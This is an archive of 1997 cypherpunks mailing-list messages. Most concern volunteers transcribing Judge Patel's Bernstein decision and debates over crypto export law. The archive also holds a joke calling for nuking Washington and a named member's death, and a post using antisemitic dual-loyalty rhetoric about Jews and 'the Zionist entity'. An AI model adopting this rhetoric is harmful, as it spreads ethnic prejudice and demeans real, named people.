Subject: Patel decision page 3 handled
Message-ID: <3.0.32.19970829173306.00ab09b0@mail.wayfarer.com>
MIME-Version: 1.0
Content-Type: text/plain




'nuff said







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Caputo <ccaputo@alt.net>
Date: Sat, 30 Aug 1997 09:30:07 +0800
To: cypherpunks@toad.com
Subject: Re: Want to help put Judge Patel's decision on the web?
In-Reply-To: <199708292351.QAA23568@toad.com>
Message-ID: <Pine.BSI.3.93.970829174343.253D-100000@baklava.alt.net>
MIME-Version: 1.0
Content-Type: text/plain



Patel decision page 27 handled

Chris






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Caputo <ccaputo@alt.net>
Date: Sat, 30 Aug 1997 09:11:29 +0800
To: cypherpunks@toad.com
Subject: Re: Want to help put Judge Patel's decision on the web?
In-Reply-To: <199708292351.QAA23568@toad.com>
Message-ID: <Pine.BSI.3.93.970829175607.253G-100000@baklava.alt.net>
MIME-Version: 1.0
Content-Type: text/plain



Patel decision page 26 handled.

Chris






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Sat, 30 Aug 1997 09:49:39 +0800
To: Dan Goodin <cypherpunks@toad.com
Subject: Re: Sit, Bubu. Sit! / Re: Stay issued; modified stay to follow
In-Reply-To: <3406440E.724F@toad.com>
Message-ID: <3.0.3.32.19970829180010.006d5330@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3980.1071713727.multipart/signed"

--Boundary..3980.1071713727.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 09:03 AM 8/29/97 -0700, Dan Goodin wrote:
>I'm very interested in finding out how extensively Snuffle was posted
>during the two-and-a-half days it was legal to do so.  Do you have any idea
>how many sites posted it, and if it's still available online today, now
>that such posts are once again against the law?
>
>Please respond ASAP.
>
>Thanks,
>
>Dan Goodin
>415-395-7805, x5223
>dang@cnet.com

I posted Snuffle to the Coderpunks list:

Date: Tue, 26 Aug 1997 18:25:10 -0700
To: coderpunks@toad.com
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Subject: Snuffle! (In celebration of the Bernstein decision)
Sender: owner-coderpunks@toad.com

[Snuffle source code deleted, check Coderpunk archives for details.]

I don't know how many foreigners subscribe to the list, but I have see
postings from UK, Australia, and India.

Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

When everyone is armed, criminals fear everyone, not just the police.

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html
Commercial version of PGP 5.0 and related products at http://www.pgp.com
Eudora Light + PGP = Free, Convenient Communication Privacy

--Boundary..3980.1071713727.multipart/signed
Content-Type: application/octet-stream; name="pgp00007.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00007.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogUEdQIGZv
ciBQZXJzb25hbCBQcml2YWN5IDUuMApNZXNzYWdlSUQ6IDdJUEpaZ2kvaWty
WkNRQ0crMHhEZjN3NkUvaGoxZHRJCgppUUEvQXdVQk5BZHlPY0pGMGtYcXB3
M01FUUk1RUFDZzNNWnpsRXkvZUEzRTVZNWx3bnIvWWlneEFRMEFuUnhQCmxH
QU1WMjV3UXhoOExJcmlSWXBrTW9Iago9UjgxRwotLS0tLUVORCBQR1AgU0lH
TkFUVVJFLS0tLS0K
--Boundary..3980.1071713727.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Sat, 30 Aug 1997 02:49:54 +0800
To: Bill Stewart <cypherpunks@toad.com
Subject: Re: H/W v S/W encryption Constitutional challenge --The Next Generation
In-Reply-To: <3.0.2.32.19970828200538.02f513ec@popd.ix.netcom.com>
Message-ID: <199708291829.MAA20468@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



on or about 970828:2005 
    Bill Stewart <stewarts@ix.netcom.com> expostulated:

+At 03:50 PM 8/26/97 +0000, Attila T. Hun wrote:
+>    IM[NSH]O, we need a test case that _differentiates_ between 
+>    hardware encryption engines and _software_for_encryption (not to be 
+>    confused with firmware).  Patel rendered an important decision, but
+>    she refrained from establishing national jurisdiction; our only hope
+>    in this instance is further citations as to relevance.

+I disagree.  We'd lose, and setting bad precedent is worse than none or
+weak precedents.  The important conclusion Judge Patel drew was that
+source code is clearly speech (yay!  and blatantly obvious, as well :-)

-----BEGIN PGP SIGNED MESSAGE-----

    Bill:  

    I think you missed my point --or I failed to express it coherently.

    yes, the government does have a strong case with hardware 
    --particulary dedicated hardware, and that was my point!

    what I think is an effective stratagem is to use a test vehicle
    which clearly demonstrates the difference --eg the generic 
    black box which can do anything else as well.

    As soon as you get into focused boxes --eg the ASIC you mention,
    then the government has an argument.  I'm looking at a routine
    "boot sector virus" (DOS) -not even the "pretty program loader"
    (Windows) box.  the object is to proof the absurdity of the
    whole issue --the computer just reads the natural language, freedom 
    of speech, program.

    likewise, you can not have any of the functions in firmware for the
    test case, despite the fact the process would be faster --that
    would be another test case to extend the principal.

    I did suggest the source code must absolutely be written in
    a language which is understandable --good clean ANSI C, for 
    instance.

    your suggestion of an interpretive language is a good idea if it
    creates an easily understood body of code.  perl?  powerful, but
    even more cryptic than C --sometimes I think perl is too powerful 
    <g>.

    I will not fault your suggestion for more code test cases --however,
    the real trick is to get Bernstein moving through the ninth circuit 
    and onto the Supreme Court --it only takes one and if the SC 
    reaffirms Judge Patel's statement on source code freedom of speech 
    and prior restraint, we're home free on that issue.

    What I am concerned will happen is that the feds may be forced to 
    give up prosecuting professors who teach encryption (free speech and 
    prior restraint), and may be unable to prevent Phil Z from 
    publishing the code in book form, etc. but will then try to claim 
    that all encryption needs to be attached to hardware --this is where 
    the generic argument comes in --they would in effect be required to     
    ban computers --all computers.

    actually, with the push for universal JAVA, write the algorithm in 
    JAVA...

    the only other alternative is massive civil disobedience, something 
    I suspect many of us are quite familiar with; approaching 60, I
    think I'll pass on any repeats of dogs and water cannons.

        attila

    "Experience keeps a dear school, but fools will learn in no other."     
        --Benjamin Franklin
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNAcUvL04kQrCC2kFAQFCnQP/Vwna9eRJjSAlBCBPlF9MUrLsFNu4owqy
ruVwPk9qLczUF/qK+KV51I3qfSkz6OyKdrHSeF14wKT/2oclEmuZX85w8IG5oxEB
9L7gTZR1396KhFe3T3xS22c7ZNrnHMNEMcMtLVnFjEu2yBJQIegaEchks6p12X3m
q9m3YcCYX6I=
=w6Js
-----END PGP SIGNATURE-----

+The next obvious directions to go, after we win the appeal, are to
+solidify the judgement with more source code 
+(and deal with the fact that they'll keep changing the regulations), 
+especially if we can do a source code in an interpreted language like
+perl, and then maybe go after binary code as speech.

+We'll also need to do something about the Karn case,
+since the difference between source code on paper and 
+source code on a floppy is obviously not a legitimate one.

+If you do hardware, they'll say "Hardware isn't speech, it's stuff, and
+exporting stuff is commerce, and we can regulate commerce and exports",
+and they'll be right constitutionally if not morally.
+Exporting the detailed plans for encryption hardware might be fun,
+especially if the hardware is very generic (say, a speech card for a
+Nintendoid with some crypto firmware for the Nintendoid's CPU,  or a
+cellphone-modem with crypto pumpware.)

+About the only Real Hardware I can see having a chance is
+some sort of ASIC-based device like a pocket organizer or cashcard that
+does encryption as an incidental part of some other function, such as
+an authentication protocol.  But if it's a cash card, the rules have
+been flexible enough to handle permits for  banking-only devices, and
+you don't get an interesting Constitutional case about being wrongly
+denied an export permit when they give you a permit, or at least give
+out permits for functionally similar products.

+I suppose there'd be some hack value in exporting a smart-cellphone
+with downloadable firmware/javaware (e.g. for multiple language
+support) with all the right export permits, and then releasing the
+crypto code  from replay or kremvax or www.hongkong.cn , and using it
+as precedent for your application for exporting the crypto-equipped
+version.




+#			Thanks;  Bill
+# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
+# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp #   (If
+this is a mailing list or news, please Cc: me on replies.  Thanks.)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: landon_dyer@wayfarer.com (Landon Dyer)
Date: Sat, 30 Aug 1997 09:20:17 +0800
To: cypherpunks@toad.com
Subject: Patel decision page 24 handled
Message-ID: <3.0.32.19970829180610.00aaf700@mail.wayfarer.com>
MIME-Version: 1.0
Content-Type: text/plain





  wheee!


-landon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Caputo <ccaputo@alt.net>
Date: Sat, 30 Aug 1997 09:47:37 +0800
To: cypherpunks@toad.com
Subject: Re: Want to help put Judge Patel's decision on the web?
In-Reply-To: <199708292351.QAA23568@toad.com>
Message-ID: <Pine.BSI.3.93.970829181313.253J-100000@baklava.alt.net>
MIME-Version: 1.0
Content-Type: text/plain



Patel decision page 25 handled.

Chris





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: landon_dyer@wayfarer.com (Landon Dyer)
Date: Sat, 30 Aug 1997 10:31:35 +0800
To: cypherpunks@toad.com
Subject: Patel decision page 9 handled
Message-ID: <3.0.32.19970829183715.00abed90@mail.wayfarer.com>
MIME-Version: 1.0
Content-Type: text/plain








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Sat, 30 Aug 1997 00:53:32 +0800
To: cypherpunks@cyberpass.net
Subject: Stealth Helicopters
Message-ID: <199708291645.SAA06822@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




> "Like them new Stealth Helicopters, equipped with devices to drown out
> the sound."

Or very quiet private jets. I saw a small, unmarked jet plane
tailing and tracking an urban police helicopter just the other
night while out on a walk in a deserted commercial district.

Its light signature resembled Vader's Imperial Shuttle, incidentally.

-THE LIE





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Sat, 30 Aug 1997 06:49:55 +0800
To: cypherpunks@Algebra.COM
Subject: tax_1.html
Message-ID: <199708292258.SAA30121@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




                            [1]Reuters New Media
                                      
              [ [2]Yahoo | [3]Write Us | [4]Search | [5]Info ]
                                      
    [ [6]Index | [7]News | [8]World | [9]Biz | [10]Tech | [11]Politic |
         [12]Sport | [13]Scoreboard | [14]Entertain | [15]Health ]
                                      
                    [ Reuters | [16]Wired | [17]ZDNet ]
     _________________________________________________________________
   
   Previous Story: [18]SkyBridge Applies With U.S. For Satellite Network
   Next Story: [19]Altera Tumbles After Sales Warning, Others Follow
     _________________________________________________________________
   
   Friday August 29 9:52 AM EDT 
   
Report Says Net May Help Tax Dodgers

   CANBERRA - Increasing use of the Internet for electronic commerce may
   lead to a rise in tax avoidance and accidental non-compliance,
   according to an Australian Taxation Office report.
   
   However, the report found Internet use would have no immediate impact
   on Australian tax collections because issues such as bandwidth limits
   and electronic payment system immaturity were restricting the amount
   of electronic commerce.
   
   While the report finds that the impact on the tax base will vary
   according to industry, tax and income type, there is no immediate
   appreciable impact on tax collections," it said.
   
   (But) there are also concerns about the increased scope for tax
   planning, especially using tax havens, and for increased accidental
   non-compliance, as ... businesses engage in international trade and
   become subject to international taxation obligations with which they
   may not be familiar."
   
   The ATO said international co-operation would be needed to fully
   respond to these issues.
   
   In addition, the ATO was seeking to:
   
   -- have Australian Company Numbers (ACNs) displayed on commercial
   Internet sites;
   
   -- have proper registration procedures for Internet businesses;
   
   -- apply comparable regulations to electronic money as for physical
   cash;
   
   -- make use of the available technology to ensure the integrity of
   electronic records; and,
   
   -- examine the electronic commerce distribution chains for new
   intermediaries.
   
   The ATO said there was potential for the Internet to cause
   difficulties in identifying parties behind Internet businesses.
   
   It was also possible that businesses would be able to store tax
   records offshore or to alter them without trace.
   
   The Internet could also lead to the removal of tax collection points
   in the distribution chain from producer to consumer.
   
   The report said its recommendations were designed to help the ATO
   avoid these problems.
   
   Copyright, Reuters Ltd. All rights reserved
     _________________________________________________________________
                                      
               ________________________ ___________ [20]Help
     _________________________________________________________________
   
   Previous Story: [21]SkyBridge Applies With U.S. For Satellite Network
   Next Story: [22]Altera Tumbles After Sales Warning, Others Follow
     _________________________________________________________________
   
    [ [23]Index | [24]News | [25]World | [26]Biz | Tech | [27]Politic |
         [28]Sport | [29]Scoreboard | [30]Entertain | [31]Health ]
     _________________________________________________________________
   
                              Reuters Limited
                                      
                                      
    [32]Questions or Comments

References

   1. LYNXIMGMAP:http://www.yahoo.com/headlines/970829/tech/stories/tax_1.html#reuters
   2. http://www.yahoo.com/
   3. http://www.yahoo.com/text/suggest.html
   4. http://www.yahoo.com/text/search.html
   5. http://www.yahoo.com/text/docs/info/
   6. http://www.yahoo.com/text/headlines/
   7. http://www.yahoo.com/text/headlines/news/
   8. http://www.yahoo.com/text/headlines/international/
   9. http://www.yahoo.com/text/headlines/business/
  10. http://www.yahoo.com/text/headlines/tech/
  11. http://www.yahoo.com/text/headlines/politics/
  12. http://www.yahoo.com/text/headlines/sports/
  13. http://sports.yahoo.com/
  14. http://www.yahoo.com/text/headlines/entertainment/
  15. http://www.yahoo.com/text/headlines/health/
  16. http://www.yahoo.com/headlines/wired/
  17. http://headlines.yahoo.com/zdnews/
  18. http://www.yahoo.com/text/headlines/970829/tech/stories/skybridge_1.html
  19. http://www.yahoo.com/text/headlines/970829/tech/stories/altera_1.html
  20. http://www.yahoo.com/docs/info/news_search_help.html
  21. http://www.yahoo.com/text/headlines/970829/tech/stories/skybridge_1.html
  22. http://www.yahoo.com/text/headlines/970829/tech/stories/altera_1.html
  23. http://www.yahoo.com/text/headlines/
  24. http://www.yahoo.com/text/headlines/news/
  25. http://www.yahoo.com/text/headlines/international/
  26. http://www.yahoo.com/text/headlines/business/
  27. http://www.yahoo.com/text/headlines/politics/
  28. http://www.yahoo.com/text/headlines/sports/
  29. http://sports.yahoo.com/
  30. http://www.yahoo.com/text/headlines/entertainment/
  31. http://www.yahoo.com/text/headlines/health/
  32. http://www.yahoo.com/docs/info/news_faq.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: landon_dyer@wayfarer.com (Landon Dyer)
Date: Sat, 30 Aug 1997 11:16:30 +0800
To: cypherpunks@toad.com
Subject: Patel decision page 12 handled
Message-ID: <3.0.32.19970829192511.009096d0@mail.wayfarer.com>
MIME-Version: 1.0
Content-Type: text/plain










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 30 Aug 1997 10:46:22 +0800
To: cypherpunks@toad.com
Subject: Re: Patel decision pages 2,12,22 handled
In-Reply-To: <1.5.4.32.19970830003944.006e5d6c@pop.pipeline.com>
Message-ID: <19970829193501.35380@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 30 Aug 1997 08:06:41 +0800
To: cypherpunks@toad.com
Subject: Cylink Withdraws Claims in RSA v, PGP
Message-ID: <1.5.4.32.19970829234831.00721f70@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



VM has pointed out that RSA put a letter on its Web site
yesterday from Caro-Kann withdrawing its claims in the
RSA v. PGP suit. The letter is a GIF file, and VM has made
a transcript of it and provided commentary on the case and
what is now in the offing:

   http://jya.com/rsavpgp-ckc.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: landon_dyer@wayfarer.com (Landon Dyer)
Date: Sat, 30 Aug 1997 11:06:50 +0800
To: cypherpunks@toad.com
Subject: Patel decision page 17 handled
Message-ID: <3.0.32.19970829195005.00947230@mail.wayfarer.com>
MIME-Version: 1.0
Content-Type: text/plain








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: miner <miner333@dogbert.xroads.com>
Date: Sat, 30 Aug 1997 11:12:14 +0800
To: cypherpunks@toad.com
Subject: patel page 33 done
Message-ID: <Pine.BSI.3.96.970829195457.2736A-100000@dogbert.xroads.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 30 Aug 1997 08:48:08 +0800
To: cypherpunks@toad.com
Subject: Re: Top 10 Ways to Make a Grouchy Old CypherPunk Smile - #9
In-Reply-To: <mxvZhonNLQXN+f2K1vxqQQ==@bureau42.ml.org>
Message-ID: <3538Be22w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Top 10 Ways to Make a Grouchy Old CypherPunk Smile
--------------------------------------------------
#10) Find his shoes for him.

#9) Buy Kent Crispin a Dr. Kevorkian gift-certificate.

#8) Nuke Washington DC

#7)

#6)

#5)

#4)

#3)

#2)

#1) [This space reserved for T.C. May]



---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: landon_dyer@wayfarer.com (Landon Dyer)
Date: Sat, 30 Aug 1997 11:31:00 +0800
To: cypherpunks@toad.com
Subject: Patel decision page 33 handled
Message-ID: <3.0.32.19970829200905.00909ec0@mail.wayfarer.com>
MIME-Version: 1.0
Content-Type: text/plain












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Ray <jmr@shopmiami.com>
Date: Sat, 30 Aug 1997 08:21:33 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Feasibility of censoring and jamming pronography and racism in informatics
Message-ID: <3.0.16.19970829200959.30f7c528@pop.gate.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:54 PM 8/29/97 +0200, Ulf Möller wrote about:
>A European parliament study evaluating `Feasibility of censoring and
>jamming pronography and racism in informatics':
...

>7.1.2 It is concluded that available technology does no and is
>      not likely to provide any satisfactory means for
>      automatically classifying such material. Such judgements
>      will therefore have to be made by humans.

The perfect kind? (One wonders what sort of humans would be drawn
to such a job, and which humans will choose or be forced to pay
them?)

...
>      - it can not be absolutely guaranteed that Internet
>        anonymity services can not be used to frustrate
>	detection of offenders in certain circumstances.

Ahh, the double-negatives of understatement.

...
>7.2.9 It is concluded that only implementation of the most
>      intrusive surveillance technology could be exspected to
>      impact heavily upon abuse of the Internet on committed
>      offenders (because of their ready access to strong
>      encryption and covert communication technologies). To
>      enable this policy scenario, it would be necessary for
>      access providers to constrain the equipment used by
>      subscribers to access the Internet to be such that:
>
>      - no content could be removed;
>
>      - all content and processing could be subject to
>        automatic and manual surveillance.

Achtung, information-Juden!

>7.2.10 The technical and economic feasibility of the necessary
>      technology is evidenced by the emergence, with purely
>      commercial motivations, of technical systems which privde
>      the basic facilities required to implement the necessary
>      measures. It is notes that this coincidental emergence of
>      such systems may raise siginificant privacy issues
>      outside of the scope of this study. The economics of
>      manual surveillance, however, can not be assessed.

How 'bout "tax-and-spend"? That's an assessment.

...
>      Detecting offenders
>      
>7.2.13 If access providers and service providers maintain
>      proper subscriber authentication systems and system
>      management environments, offending actions at the site to
>      which the subscriber authenticates can be traced to the
>      offender. Detection of offenders committing offences 'at
>      a distance' (ie a subscriber in a country committing an
>      offence in another), however, would require:
>
>      - access and service providers to take steps to ensure
>        subscriber identity information is carried in their
>	transmissions;
>
>      - monitoring of services provided on the Internet to
>        prevent subscribers misusing anonymity services to
>	remove such information.

This kind of monitoring, were it actually possible to implement,
would mean the effective end of anonymity services. Thankfully,
it is presently merely a statist pipe dream.

>7.2.14 Whilst a variety of means exist to attach identity
>      information, detection of anonymity services is not
>      straightforward. However, monitoring such services would
>      be exspected to limit the number available for overt, eg
>      to transmit offensive material to innocent parties,
>      offensive use.

Translation: "Shut as many of 'em down as possible."

>7.2.15 Legally, handling offences detected through voluntary
>      authentication would be relatively straightforward as the
>      offending subscriber would be resident in the country
>      where the offence was committed. However, offences can
>      only be detected through forced identification, ie those
>      committed 'at a distance', would currently be subject to
>      extradition arrangements and it is not clear that new
>      opportunities for prosecution would arise in practice.

Oh boy - "opportunities for prosecution," WHEEE!

>      Meanwhile, it may be that the social implications of
>      forced and general identification of Internet subscribers
>      would leave subscribers open to a variety of forms of
>      intrusion on privacy and discrimination.

Oh, but "we" can trust Craig Livingstone, Louis Freeh, Aldrich
Ames, and the rest of the spies, can't "we."

Why am I feeling so worried these days, anyway?
JMR

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 30 Aug 1997 08:50:04 +0800
To: cypherpunks@toad.com
Subject: Re: H/W v S/W encryption Constitutional challenge --The Next Generati
In-Reply-To: <199708261557.JAA17065@infowest.com>
Message-ID: <Fk58Be27w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"Attila T. Hun" <attila@hun.org> writes:

>
>     IM[NSH]O, we need a test case that _differentiates_ between
>     hardware encryption engines and _software_for_encryption (not to be
>     confused with firmware).  Patel rendered an important decision, but
>     she refrained from establishing national jurisdiction; our only hope
>     in this instance is further citations as to relevance.

Hmm. The patents on algorithms are phrased as patents on a hardware device
implementing the algorithm. If the gubmint had a precedent of hardware
exports being banned, could they present a software-only export as a
part of a hardward/software package?  Just thinking.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 30 Aug 1997 08:54:55 +0800
To: cypherpunks@toad.com
Subject: Patel decision pages 1-6 handled
Message-ID: <1.5.4.32.19970830003944.006e5d6c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sat, 30 Aug 1997 11:57:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fate of Jews in America (fwd)
In-Reply-To: <19970830034359.3947.qmail@zipcon.net>
Message-ID: <19970830034714.4119.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Igor forwarded:

> THE WASHINGTON TIMES
> August 29, 1997

The Moonies? 

I believe it was Gore Vidal who commented upon the curious incest between
religious and political right wing extremists and the Jews. In return for
the incorporation of the tenets of Zionism into extremist religious
philosophy, and a few billion dollars of aid each year, Jewish
intellectuals pretend there is nothing wrong with obvious nonsense, when
in fact they know better.

> The danger for Jews, oddly, is that in the
> foreseeable future they might be so well assimilated they become
> extinct. 

Extinction is a species concept.  Human beings, not human beings of Jewish
extraction or belief, are the species here.  Therefore Jews cannot become
"extinct," any more than people who like pretzels can become "extinct."

Certain memes passed down by self-identified practitioners of the Jewish
faith may become extinct, but that is another issue entirely. 

> .... . . . But the question isn't what other Americans would think of this
> kind of double allegiance, or whether the two allegiances might some day
> be in conflict,

It isn't?  What about the traitor Pollard, who has a fat pension and a
comfortable lifestyle waiting for him in the Zionist entity, should the US
government ever be so foolish as to let him out of prison. 

How many more Pollards has Zionist propaganda produced, who would do
anything the Zionist entity commanded, to further its cause? 

Why do we continue to pour money into a self-declared country whose hidden
agenda is to steal more of its neighbors' land, whose ideological
orientation is blatantly racist, whose Supreme Court has ruled that
torture is a legitimate means of interrogation, and which used to sing the
praises of pre-democratic South Africa as the kind of society it wished to
emulate?

What was it Jim Baker said?

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 30 Aug 1997 10:16:01 +0800
To: simon1@bu.edu
Subject: Fate of Jews in America (fwd)
Message-ID: <199708300200.VAA22335@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



----- Forwarded message from nikst -----

>From nikst@glasnet.ru  Fri Aug 29 20:52:44 1997
Message-Id: <m0x4ccf-001A94N@mail.glas.apc.org>
X-SMTP-Spy: Real message sender is nikst@glasnet.ru via ppp686.glas.apc.org
From: "nikst" <nikst@glasnet.ru>
Subject: Sud'ba yevreyev v Amerike
Date: Sat, 30 Aug 1997 05:40:27 +0400
X-MSMail-Priority: Normal
X-Priority: 3
X-Mailer: Microsoft Internet Mail 4.70.1155
MIME-Version: 1.0
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THE WASHINGTON TIMES
August 29, 1997

The end for U.S. Jewry?

By Richard Grenier

        You know this is a Protestant country," Franklin D. Roosevelt
once said to economist Leo Crowley and Henry Morgenthau, his treasury
secretary, "and the Catholics
and Jews are here under sufferance. It is up to you to go along with
anything I want." 
... . . . The Presidency of Jack Kennedy abolished forever the notion that
American Catholics are here under sufferance. And Jews? On this 100th
anniversary of the founding of the Zionist movement, the position of our
Jewish minority is singular. The danger for Jews, oddly, is that in the
foreseeable future they might be so well assimilated they become
extinct. 
..... . . . This might surprise many gentiles as never before have so many
Jews occupied high positions in American politics, giant corporations,
the media, the academy, science, law, medicine, intellectual life, not
to mention Wall Street. Both U.S. senators from California are Jews, and
last year a Jew, Sen. Arlen Specter, was a serious candidate for the
presidency. A generation ago this would have been unthinkable. 
.... . . . But the eminence of our Jewish high-achievers is deceptive. Not
long ago Jews represented something under four percent of the American
population. Today they represent two percent. Jews once lived in dense
urban settlements in the Northeast, half of them in New York alone.
Today 40 percent of Jews live in the South and West. In Denver and
Phoenix the intermarriage rate with gentiles is 72 percent -- the
harbinger of doom. For as the Jewish population spreads over the
country, and assimilates ever more readily, synagogue affiliation
declines steadily. 
...... . . . Of the 6.8 million people of Jewish descent in this country,
almost 20 percent are now practicing Christians, and another 16 percent
profess no religion and consider themselves secular Jews or not Jews at
all. For centuries persecution paradoxically helped preserve Judaism,
while many Jews now expect that tolerance, in the end, will do them in. 
... . . . Elliott Abrams, assistant secretary of state under Ronald Reagan
and now president of the Ethics and Public Policy Center, alarmed by
this drift, has just published a brilliant book, "Faith or Fear" (The
Free Press). In Mr. Abrams' view, Jews in America, as things are going,
are headed straight for extinction. The only thing that will preserve
them, he writes, is true religious faith. Without it they're in danger
of disappearing like the ten lost tribes of ancient Israel. 
...... . . . Meanwhile, a special issue of The New Republic has appeared
devoted to "Zionism at 100." The magazine's editor-in-chief, Martin
Peretz has written a grand celebratory article on "The God That Did Not
Fail." Mr. Peretz once told me he doesn't believe in God but believes in
"the Jewish people," describing for me the funeral service for an
eminent Jew during which a friend whispered to him, "Do you realize that
of the country's ten leading micro-biologists (I forget the profession)
eight are in this room?" To which Mr. Peretz replied pungently, "Praying
to a God in whom they do not believe." 
.... . . . Mr. Peretz is thus a splendid, highly articulate example of Mr.
Abrams' "secular Jew" -- and a passionate zionist. Indignant at people
who believe that the state of Israel would never have come into being if
it hadn't been for the Holocaust, he declares with deep regret that but
for the Holocaust there would now be in the world, not 13 million Jews,
but "scores of millions." At the end of World War II the gates of Israel
would have been stormed, not by thousands of Jews, but by millions. The
god that failed, of course, was communism. Whereas zionism grew and
triumphed. 
...... . . . Supreme Court Justice Louis Brandeis was the most prominent
American to hold high position in our government while throwing himself
heart and soul into the zionist movement. Brandeis refused to resign
from the Court to assume the titular leadership of the World Zionist
Organization because he wanted to demonstrate that there was no
contradiction between remaining "attached to America while working for a
Jewish homeland in Palestine." Justice Brandeis saw no conflict in his
position: holding high office in America while deeply involved in the
political, financial, and intellectual affairs of a nation in the making
--which was after all to become a foreign country. I'm not sure how many
Americans today would agree with him. 
.... . . . But the question isn't what other Americans would think of this
kind of double allegiance, or whether the two allegiances might some day
be in conflict, but whether Jews, without God, defining themselves as
simply an ethnic subgroup, will even survive. One of the reasons there
has been such loss of religious faith among America's Jews lies in the
nature of their religious practices, to which the practices of Islam
(Sunni) bear a strong resemblance: circumcision, prayer, special dietary
rules, no pork, no graven images, no musical instruments in the house of
worship, concentration on living a godly life here below with little
talk of the hereafter and absolutely no messianic talk of eternal life. 
.... . . . I thus fully agree with Mr. Abrams. Jews will certainly survive
in America for a time, but without God, on their present course, they'll
eventually be gone. 

***************
"Bednaya-bednaya" Amerika!

U nas ne tak. I eto xorosho illustriruyet sleduyushchij anekdot:

Umirayet staryj armyanin. I vot sobral on vsyu svoyu bol'shuyu semyu u
svoyego
smertnogo lozha. Oni vse dumali, chto rech pojdyot o nasledstve.
No tot povyol rech o drugom. K udivleniyu sobravshixsya, on stal goryacho
ubezhdat' ix: "Beregite yevreyev!" "Beregite yevreyev!"
I kogda on zametil udivlenie na licax sobravshixsya, on iz poslednix sil
poyasnil: "Kogda ischeznet poslednij yevrej, oni voz'mutsya za nas,
armyan"...
I ispustil dux.

Tut vot pishut, chto v Amerike, vrode, k etomu idyot. Neuzheli pravda?..;-)

***************

RFE/RL NEWSLINE Vol 1, No. 106, Part I, 29 August 1997

